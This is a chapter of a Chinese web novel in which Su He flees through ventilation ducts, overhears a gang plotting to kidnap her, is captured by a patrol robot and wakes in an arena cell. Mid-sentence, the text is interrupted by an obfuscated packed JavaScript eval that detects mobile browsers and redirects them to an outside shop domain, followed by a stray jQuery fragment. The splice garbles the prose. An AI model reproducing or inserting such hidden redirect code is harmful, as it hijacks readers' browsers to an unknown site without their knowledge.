苏禾对上了那双眼睛,心里一惊。
那双眼睛在黑暗中微微颤抖着,像是受惊的鸟,又像是溺水的人抓住的最后一块浮木。苏禾觉得那双眼睛有些眼熟,但一时之间想不起来在哪里见过。她正要开口,通风管道里的人先说话了。
“你怎么在这儿?”
那声音压得极低,带着明显的颤抖和急切,从栅格的缝隙中漏出来。苏禾听到这个声音的瞬间,瞳孔骤然放大,她认出来了!
“艾米?!”
她快步走到通风口下方,仰头看着那双眼睛。栅格后面那张脸从阴影中往前探了一些,露出一张脏兮兮的小脸,确实是艾米。
她的头发乱糟糟地黏在额头上,脸上沾着灰和汗,眼角有一块淤青,嘴唇干裂,看起来狼狈极了。
“你怎么在这儿?”苏禾压低声音问,“你不是应该——”
“没时间跟你说了。”艾米打断了她,语气急促。她伸手去推通风口的栅格,那栅格似乎本来就没有锁死,被她用力一推,发出轻微的金属摩擦声,向外翻开了。艾米从洞口探出半个身子,朝苏禾伸出手,“先走!快!这里不是什么好地方。”
苏禾看了一眼那扇虚掩的门,又看了一眼艾米伸过来的手。这一次她进来本来就是想看看地下的情况,顺便看看是否能够找到那群黑衣人的位置,她本能的觉得跟南希的这场交易并不是什么好事,走了也好。
于是她没有犹豫也没去多问,伸手抓住艾米的手,借力往上一跃,攀住了通风口的边缘。艾米在上面拽了她一把,苏禾蹬着墙壁爬进了通风管道。
两人合力将栅格重新合上,扣好卡扣。
通风管道里漆黑一片,只有下方房间透过栅格缝隙漏上来的微弱光线。空气闷热而浑浊,弥漫着金属和灰尘的气味。管道内壁是粗糙的金属材质,宽度勉强容一个人趴着。
苏禾和艾米面对面,她看到艾米双手撑在管道上,整个人还在微微发抖。苏禾借着下方透上来的微光打量着她,艾米比上一次见面时瘦了一大圈,颧骨凸了出来,手腕细得像两根柴火棍,裸露的手臂上布满了新旧交叠的伤痕。
苏禾有很多问题想问——她为什么会在这里?她妈妈呢?那个家暴男又找到她了?她是怎么逃出来的?但现在显然不是问这些的时候。
“你想去哪里?”苏禾压低声音问。
艾米神色坚定:“逃出去,别在这里,这里是地狱。”
说着,她竖起手指比在自己唇边,“嘘,先走。”话完,她折返回身,然后在一个拐角处随便找了个地方往前继续爬。
苏禾看她似乎毫无章法,在身后拽住了她的裤脚,“你知道出口位置?”
艾米摇了摇头。
苏禾没有再多问。她趴在管道壁上,侧耳倾听了一会儿,下方的走廊里,脚步声和呼喊声还在继续,但似乎集中在另一个方向,离她们所在的区域有一段距离。她稍稍松了一口气,然后开始仔细观察管道内部的结构。
在这种大型建筑里,通风管道就像是一张隐藏在墙壁内部的交通网络,只要你读懂了它的逻辑,就能去到任何你想去的地方。主管道连接着各个区域的分支管道,分支管道又延伸到每一个房间和走廊。只要找到主管道的走向,就能判断出出口的大致方位。
她静下来,感受了一下这个岔道口的风向位置,几秒后,她在心中大致勾勒出了管道的走向图。
“这边走。”她指了指右边的通道。
艾米看了她一眼,目光里带着一丝惊讶和佩服,但什么也没问,只是点了点头。
两人开始在管道里爬行。苏禾在前面开路,艾米紧跟在她身后。管道里很暗,只能靠每隔一段距离从送风口栅格透进来的微弱光线辨认方向。苏禾爬得很小心,每一步都尽量放轻手脚,避免发出太大的声响。她的膝盖和手肘压在粗糙的金属表面上,隔着布料也能感到火辣辣的疼痛,但她咬着牙没有出声。
她们爬过了一个又一个送风口。透过栅格的缝隙,苏禾看到了下方不同的场景,有堆满杂物和备用零件的储物间,有几张行军床和几个储物柜的值班休息室,还有一个空荡荡的、只放着一张金属桌子和两把椅子的房间,墙壁上挂着几根皮管,看起来像是某种审讯室之类的地方。
她的心跳不由得加快了一些,但那些穿黑色制服的人始终没有出现。
她开始怀疑自己是不是判断错了。也许那些人根本就没有下到地下来,也许他们从格斗场的另一个出口离开了,也许她今天的冒险根本就是一场徒劳。
但她没有停下。她继续向前爬,一边爬一边在心里盘算着接下来的计划。
再过两天就是她去林奶奶那边试住的日子了,她还有两天的时间来弄清楚这些人的目的。如果实在查不到什么,她就先回去,然后找个理由回绝林奶奶,她不能把麻烦带到她们那边去。
至于姜晨曦和沈珂……苏禾想,也许她应该跟她们坦白一部分真相了。至少可以说自己是从一家精神病院里逃出来的,不记得之前的事了,醒来就在那里。只要不说自己是穿越来的,她们应该会相信她吧?毕竟这段时间的相处,她能感觉到姜晨曦和沈珂虽然嘴上不饶人,但对她是真的有几分真心在的。
哎,早知道就把终端带在身边了,至少现在还能给他们报个信,之前是怕自己身份暴露被终端监听才塞在巴顿店铺里面的……
她正想着,前方的栅栏口突然隐约传来一些谈话的声音,声音很小,但苏禾却能捕捉到好像是南希的声音。
她停了下来,趴在管道上仔细辨听,竟然还听到了姜晨曦的名字。
正准备往前一探究竟的时候,她发现身后没有了冬季,她回过头,这才发现艾米停在原地,趴在原地喘气,脸色发白,额头上全是冷汗。
“走不动了?”苏禾压低声音问。
艾米摇了摇头,又点了点头,嘴唇翕动了一下,没说出话来。她的状态看起来很差,本来就瘦弱不堪,又在通风管道里爬了这么久,体力显然已经到了极限。苏禾不知道她已经爬了多久,但看她这副样子,恐怕早就透支了。
苏禾看了看前方,管道在前方不远处又出现了一个分岔口。她爬过去,探出头分别看了看两边的情况——左边那条管道似乎通向一个更大的空间,隐约能听到一些声音从那个方向传来;右边那条管道则比较短,尽头似乎是一个通风口,外面透着光。
她犹豫了一下,然后退回艾米身边,轻轻拍了拍她的肩膀,指了指右边那条管道,又指了指上方,比了一个“上去”的手势。然后她又指了指自己,指了指左边那条管道,比了一个“我去看看”的手势,最后指了指自己的耳朵,比了一个“听”的手势,又指了指艾米,比了一个“等”的手势。
艾米看懂了。她咬了咬嘴唇,拉住苏禾的袖子,用气音说了一句:“你一定要小心。”
苏禾点了点头,然后转身,朝着左边那条管道爬去。
她爬得很慢,每一步都小心翼翼,尽量不发出任何声音。随着她逐渐靠近那个分岔口的尽头,从下方传来的声音也越来越清晰。她听到了有人在说话,不止一个人,似乎是在争论着什么。
她爬到送风口上方,屏住呼吸,透过栅格的缝隙往下看去。
下方是一个比之前看到的房间都要大的空间。房间中央摆着一张椭圆形的会议桌,桌面上摊着几张纸和几杯喝了一半的水。
房间里有三个人。
两个男人站在桌边,南希则靠在桌沿上,双臂交叉抱在胸前,姿态慵懒。
那两个男人中的一个身材魁梧,脸上有一道横贯半边脸的疤痕,看起来凶悍而精明。另一个则瘦削一些,戴着一只黑色的眼罩,是个独眼龙。苏禾不认识他们,但她注意到那个刀疤脸的手臂上露出了一截纹身,是一条缠绕着匕首的毒蛇,色彩鲜艳,栩栩如生。
这纹身可不陌生。
毒蛇帮。苏禾在心里默念了一遍这个名字。
之前在小巷里遇到的那群人,就是这个纹身。
她屏住呼吸,竖起耳朵。
“……我不是来听你说这个的。”刀疤脸往前逼近了一步,声音压得更低了,“我跟你说的那件事,你考虑得怎么样了?”
“你说的是哪件?”南希明知故问,嘴角带着一丝玩味的笑意。
“别跟我装糊涂。”刀疤脸的声音冷了下来,“那个小丫头。我们查过了,她在南城没什么亲人,像是凭空出现的一样。姜晨曦那两个人把她护得那么紧,肯定有点东西,或许可以从她身上入手,找到姜晨曦和沈珂背后的势力来源。”
苏禾的心脏猛地一缩。他们在说她。
“所以呢?”南希歪了歪头。
“所以我们想请你帮个忙。”刀疤脸说,“你在这片地方人头熟,渠道也多。帮我们把人弄出来,条件你开。”
南希没有立刻回答。他低头看了看自己涂着红色指甲油的手指,慢悠悠地开口:“那两个女老板,可不是好惹的主儿。你们毒蛇帮在她们手上吃过亏吧?”
刀疤脸的脸色变了一下,但没有否认。
“我听说,你们之前派去盯梢的人,莫名其妙就被人撂倒了,丢在垃圾堆里,问什么都说不记得了。”南希抬起眼,目光带着一丝揶揄,“能让你们毒蛇帮这么头疼的人,我可不想随便招惹。”
“你不用亲自出面。”刀疤脸说,“你只需要帮我们创造一个机会,把她引出来,剩下的事情我们自己搞定。”
南希沉默了几秒,然后轻笑了一声:“听起来倒是不难。不过——我为什么要帮你们?”
“因为我们有共同的利益。”刀疤脸说,“那两个女人,最近手伸得太长了。她们挡的不只是我们的路,迟早也会挡你的路。”
房间里安静了几秒。
苏禾趴在通风口上方,心脏狂跳,手指不自觉地攥紧了。她必须尽快回去,把这个消息告诉姜晨曦和沈珂。她不能再在这里待下去了。
她开始慢慢地向后退,准备原路返回。
就在这时,一声尖叫从不远处的管道深处传来。
是艾米的声音。
紧接着,管道里面发出一阵刺耳的警报声,在整个地下空间中炸响。
红色的警示灯开始疯狂闪烁,刺眼的光芒透过通风栅格的缝隙射入管道,将苏禾的脸映得一明一暗。
下方的对话戛然而止。南希和刀疤脸同时抬起头,目光锐利地扫向天花板。
“看来又进来找死的耗子了。”南希说,语气依然平静,但他已经站直了身体,伸手按下了墙上的一个通讯按钮,“全体注意,通风管道里有入侵者。启动B级封锁程序。”
苏禾的脑子嗡的一声炸开了。她来不及多想,转身就往来时的方向爬去。然而就在此时,一道刺眼的红光突然在她面前亮起。
那红光来自管道的前方,很近,近到只有不到两米的距离。红光是从一对圆形的电子眼中发出的,镶嵌在一个圆筒状的金属机体上,悬浮在半空中,发出低沉的嗡鸣声。那是一个自动巡逻机器人,体型不大,但看起来极为结实,机体的前端伸出了一对电击探头,正噼啪作响地闪烁着蓝白色的电弧。
“发现目标。”机器人的声音是合成的,冰冷而没有感情,“身份未识别,判定为入侵者。执行捕获程序。”
苏禾的瞳孔骤缩,她本能地转身想跑——
一道强烈的电流击中了她的后背。
她感到一阵剧烈的麻痹感从背部蔓延到全身,四肢瞬间失去了力量,眼前一片空白。她的身体不受控制地抽搐了几下,然后软软地倒在管道里,意识在剧烈的疼痛中逐渐模糊。她听到自己的牙齿在咯咯作响,听到远处传来的脚步声和呼喊声,听到那个机器人冰冷的合成音在通讯频道里汇报——
“目标已捕获,坐标B-7区通风管道。请求人员回收。”
然后,一切都陷入了黑暗。
不知道过了多久,苏禾的意识一点一点地回到了身体里。
她艰难地睁开眼睛。
视野从模糊逐渐变得清晰。她看到的是一个灰扑扑的天花板,上面有一盏罩着铁丝网的灯泡,发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761484|207293||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出昏黄的光。她躺在一张冰冷的金属床上,或者说,是一块平整的金属板上,身下只铺了一层薄薄的垫子,硌得她后背生疼。
她动了动手腕,发现自己的双手被一副金属手铐固定在身前,手铐的内侧嵌着一排细小的金属触点,泛着冷光。她低头看了看,那手铐的样式她认识,和她之前在艾米手上拆下来的那个电击环一模一样,只是尺寸更大一些。她又动了动脚踝,发现脚上也被扣上了同样的东西。
电击环。她的心沉了下去。
她撑着床板坐起身来,环顾四周。
这是一个很小的房间,大概只有四五平方米,三面是冷冰冰的金属墙壁,正面是一排从天花板到地面的金属栅栏,像是监狱的牢房。栅栏外面是一条狭窄的走廊,走廊对面也是一排同样的栅栏,可以看到对面牢房里隐约有一个人影。
她所在的牢房里什么都没有,没有床垫,没有被子,没有桌椅,只有她身下这块金属板和墙角一个生了锈的排水口。空气中弥漫着一股铁锈和消毒水混合的气味,还夹杂着一丝若有若无的血腥味。
苏禾挣扎着站起来,走到栅栏边,握住冰凉的金属栏杆,往外看去。
走廊两侧是一排排同样的牢房,有的空着,有的里面能看到人影。那些人影或坐或躺,有的蜷缩在角落里一动不动,有的靠在栅栏上目光空洞地望着前方,像是一群已经放弃了希望的囚徒。走廊的尽头是一扇厚重的金属门,紧闭着,门上有一个小小的观察窗,透进来一丝微弱的光线。
她想起了自己昏迷前听到的那些对话,刀疤脸说要用她来对付姜晨曦和沈珂,南希答应了要帮他们把她引出来。她原本以为自己还有两天的时间,还有机会回去报信,还有机会阻止这一切。
但现在,她被困在这里了,
“醒了?”
一个声音从对面传来。苏禾抬起头,看到对面牢房里的那个人正靠在栅栏上看着她。
那是一个中年男人,瘦削,脸上有几道深浅不一的疤痕,头发乱糟糟的,看起来在这里待了有一段时间了。他的手脚上没有电击环,只有手腕上有一道深深的勒痕,像是曾经被什么东西捆绑过很久留下的印记。
苏禾没有回答,只是看着他。
那男人咧嘴笑了一下,露出一口缺了一颗的牙齿:“被绑来的?”
苏禾依然没有回答。她转过身,开始仔细打量自己所在的这间牢房——墙壁、天花板、栅栏、每一个角落。她在寻找任何可能的突破口。
那男人也不在意她的沉默,自顾自地说了下去:“别挣扎了,出不去的。”他用下巴指了指苏禾手脚上的电击环,“你那个东西,叫电击环。戴上之后,只要你靠近栅栏超过一定的距离,或者做出任何被认为是‘逃跑企图’的动作,它就会放电。电压不高,不会电死你,但会让你疼得生不如死。”
苏禾的动作顿了一下,低头看了看手腕上的金属环。她没有说话,但她的沉默已经表明了态度,她在听。
“唯一能出去的机会,就是今晚。”那男人笑了笑。
苏禾转过头,看着他。
“今晚有擂台赛。”那男人靠在墙上,仰头看着天花板,语气平淡得像是在说一件与己无关的事,“台上那个人,叫鲁森。他已经连着打了三周的擂台赛没下来了,这周压他的人不计其数,赌注堆得比这座格斗场还高。挑战他的人,基本都是去送死的。”
他顿了顿,偏过头,隔着栅栏看着苏禾:“本来这周没人敢挑战他的,但南希有手段。为了保证今晚的擂台赛不空场,她总要找些人来填场子。”
苏禾眨了眨眼,没听懂他的意思。
那男人看到她茫然的表情,笑了一声,那笑声里带着一丝苦涩和嘲讽:“你以为这里是用来关什么人的?关的都是今晚要上台的人。你,我,隔壁那几个,走廊尽头那几个,全都是今晚要上场打擂台的。”
苏禾的血液在一瞬间变冷了。
“不过,你运气真差。”那男人继续说,语气里带着一种过来人的淡然,“你要是跟我一样,和格斗场签了契约,死了还能给家里人挣一笔抚恤金。但你这种被强绑来的,家里没人知道你在哪儿,没人替你收尸,今晚死在机甲里,都没人给你收拾。”
他摇了摇头,像是在感叹一件微不足道的小事:“可怜呐。”
苏禾沉默了几秒,然后开口了,声音比她预想中要平静:“比赛什么时候开始?”
“天黑之后。”男人见她似乎是认命了,笑了笑说,“具体时间不确定,要看上面那些大人物什么时候到齐。但一般来说,不会超过晚上八点。”
苏禾在心里估算了一下时间。她昏迷之前大约是下午三四点的样子,现在应该已经过去了一两个小时,也就是说,她最多还有三四个小时的时间。
三四个小时。她必须在这段时间里找到逃出去的办法。
她重新站起来,走到栅栏边,这一次她没有再去观察墙壁和天花板,而是把目光投向了走廊尽头的金属门。那扇门是她视线范围内唯一的出口,门上的观察窗透进来的光线表明外面有人值守,或者至少是有活动的空间。
“赛前准备的时候,电击环会解开吗?”她问。
“会。”男人愣了一秒,想了想道:“上台之前会解开,不然你无法操作机甲。”
苏禾点了点头,没有再问了。
她退回墙角,靠着冰冷的金属墙壁坐了下来,闭上眼睛。她的脑子在飞速运转——她有三四个小时的时间,有一个必然会被打开的门,因为他们会从这个地方出去,有一个必然会解开电击环的时刻。
她需要的只是一个时机,一个恰当的能让她在电击环解开之后第一时间逃脱的时机。
她不知道姜晨曦和沈珂现在在做什么,不知道她们有没有发现她失踪了,不知道她们会不会来找她。她不能把希望寄托在别人身上,她只能靠自己。
不过刚刚那个男人说今晚擂主叫鲁森,鲁森……苏禾在舌尖默念了一下这个名字,笑了。
Loser。这名字挺有意思。